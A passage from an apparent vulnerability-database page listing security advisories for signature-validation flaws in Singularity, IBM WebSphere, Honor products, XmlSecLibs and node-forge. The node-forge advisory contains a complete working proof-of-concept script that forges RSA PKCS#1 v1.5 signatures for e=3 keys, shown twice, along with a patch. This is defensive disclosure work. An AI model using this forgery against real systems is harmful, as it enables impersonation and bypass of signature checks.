Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy",
  "id": "GHSA-pmfr-63c2-jr5c",
  "modified": "2023-01-20T22:02:58Z",
  "published": "2021-12-20T18:24:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hpcng/singularity/security/advisories/GHSA-pmfr-63c2-jr5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13845"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/sylabs"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00059.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00053.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Execution Control List (ECL) Is Insecure in Singularity"
}

GHSA-PPC3-PCQM-G3FR

Vulnerability from github – Published: 2024-06-20 15:31 – Updated: 2024-06-20 15:31
VLAI
Details

IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to identity spoofing by an authenticated user due to improper signature validation. IBM X-Force ID: 294721.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-37532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to identity spoofing by an authenticated user due to improper signature validation.  IBM X-Force ID:  294721.",
  "id": "GHSA-ppc3-pcqm-g3fr",
  "modified": "2024-06-20T15:31:18Z",
  "published": "2024-06-20T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37532"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/294721"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7158031"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PPP5-5V6C-4JWP

Vulnerability from github – Published: 2026-03-26 22:02 – Updated: 2026-03-27 21:50
VLAI
Summary
Forge has signature forgery in RSA-PKCS due to ASN.1 extra field
Details

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5). - _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

  1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
  2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

  1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
  3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
  4. The script verifies both signatures with:
  5. forge verify (_parseAllDigestBytes: true), and
  6. Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
  7. Confirm output includes:
  8. control-forge-strict: true
  9. control-node: true
  10. forgery (forge library, strict): true
  11. forgery (node/OpenSSL): false

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:

control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
repro_min.js
#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

Suggested Patch

  • Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
  • Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

  • RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
  • This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.

  • RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
  • lib/rsa.js key.verify(...) at lines ~1139-1223.
  • lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:02:35Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  \u0027300d060960864801650304020105000420\u0027,\n  \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = \u00270\u0027 + h;\n  const b = Buffer.from(h, \u0027hex\u0027);\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge\u0027s default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n  const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n  if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n  const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n  const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n  const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n  console.log(\u0027control-node:\u0027, controlNode);\n  console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n  console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+              \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error(\u0027Encryption block is invalid.\u0027);\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-ppp5-5v6c-4jwp",
  "modified": "2026-03-27T21:50:55Z",
  "published": "2026-03-26T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  "
}

GHSA-PPWV-CCV8-QF82

Vulnerability from github – Published: 2023-12-29 03:30 – Updated: 2023-12-29 03:30
VLAI
Details

Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-29T02:15:44Z",
    "severity": "MODERATE"
  },
  "details": "\nSome Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.\n\n",
  "id": "GHSA-ppwv-ccv8-qf82",
  "modified": "2023-12-29T03:30:28Z",
  "published": "2023-12-29T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23433"
    },
    {
      "type": "WEB",
      "url": "https://www.hihonor.com/global/security/cve-2023-23433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PQM6-CGWR-X6PF

Vulnerability from github – Published: 2019-11-08 20:06 – Updated: 2021-08-18 22:14
VLAI
Summary
Signature validation bypass in XmlSecLibs
Details

Rob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "robrichards/xmlseclibs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "robrichards/xmlseclibs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-3465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-11-08T17:45:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Rob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.",
  "id": "GHSA-pqm6-cgwr-x6pf",
  "modified": "2021-08-18T22:14:37Z",
  "published": "2019-11-08T20:06:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/robrichards/xmlseclibs/commit/0a53d3c3aa87564910cae4ed01416441d3ae0db5"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2019-09"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4560"
    },
    {
      "type": "WEB",
      "url": "https://simplesamlphp.org/security/201911-01"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Nov/8"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XBSSRV5Q7JFCYO46A3EN624UZ4KXFQ2M"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OCSR3V6LNWJAD37VQB6M2K7P4RQSCVFG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MAWOVYLZKYDCQBLQEJCFAAD3KQTBPHXE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HBE2SJSXG7J4XYLJ2H6HC2VPPOG2OMUN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ESKJTWLE7QZBQ3EKMYXKMBQG3JDEJWM6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BNFMY5RRLU63P25HEBVDO5KAVI7TX7JV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BBKVDUZ7G5ZOUO4BFJWLNJ6VOKBQJX5U"
    },
    {
      "type": "WEB",
